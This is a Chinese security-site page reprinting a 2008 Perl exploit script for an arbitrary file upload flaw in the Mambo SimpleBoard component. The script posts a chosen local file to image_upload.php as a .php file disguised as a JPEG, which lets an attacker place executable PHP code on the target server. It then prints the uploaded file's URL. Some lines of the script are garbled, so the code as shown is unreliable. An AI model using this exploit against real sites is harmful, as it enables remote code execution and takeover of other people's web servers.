首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mambo Component SimpleBoard <= 1.0.1 Arbitrary File Upload Exploit
来源:vfocus.net 作者:t0pP8uZz 发布时间:2008-10-30  
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <);
    
print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/components/com_simpleboard/image_upload.php',
                      Content_Type => 'form-data',
                      Content      => [ attachimage => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );

die "HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /open_basedir/) {
    
    print "open_basedir restriction enabled. Exploit failed. See php.ini for more details.\n"; # say() ? get perl510
}
else {
 
    print "Looks like exploit was successfull! for uploaded file check:  " . $url . "/components/com_simpleboard/" . $fname . "\n";   
}
exit;


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MW6 Aztec ActiveX (Aztec.dll)
·Wordpress Plugin e-Commerce <=
·MW6 Barcode ActiveX (Barcode.d
·7Shop <= 1.1 Remote Arbitrary
·MW6 DataMatrix ActiveX (DataMa
·PacketTrap TFTPD 2.2.5459.0 Re
·MW6 PDF417 ActiveX (MW6PDF417.
·Visagesoft eXPert PDF ViewerX
·DjVu ActiveX Control 3.0 Image
·H2O-CMS <= 3.4 Remote Command
·Opera 9.61 opera:historysearch
·MS08-067 Remote Stack Overflow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved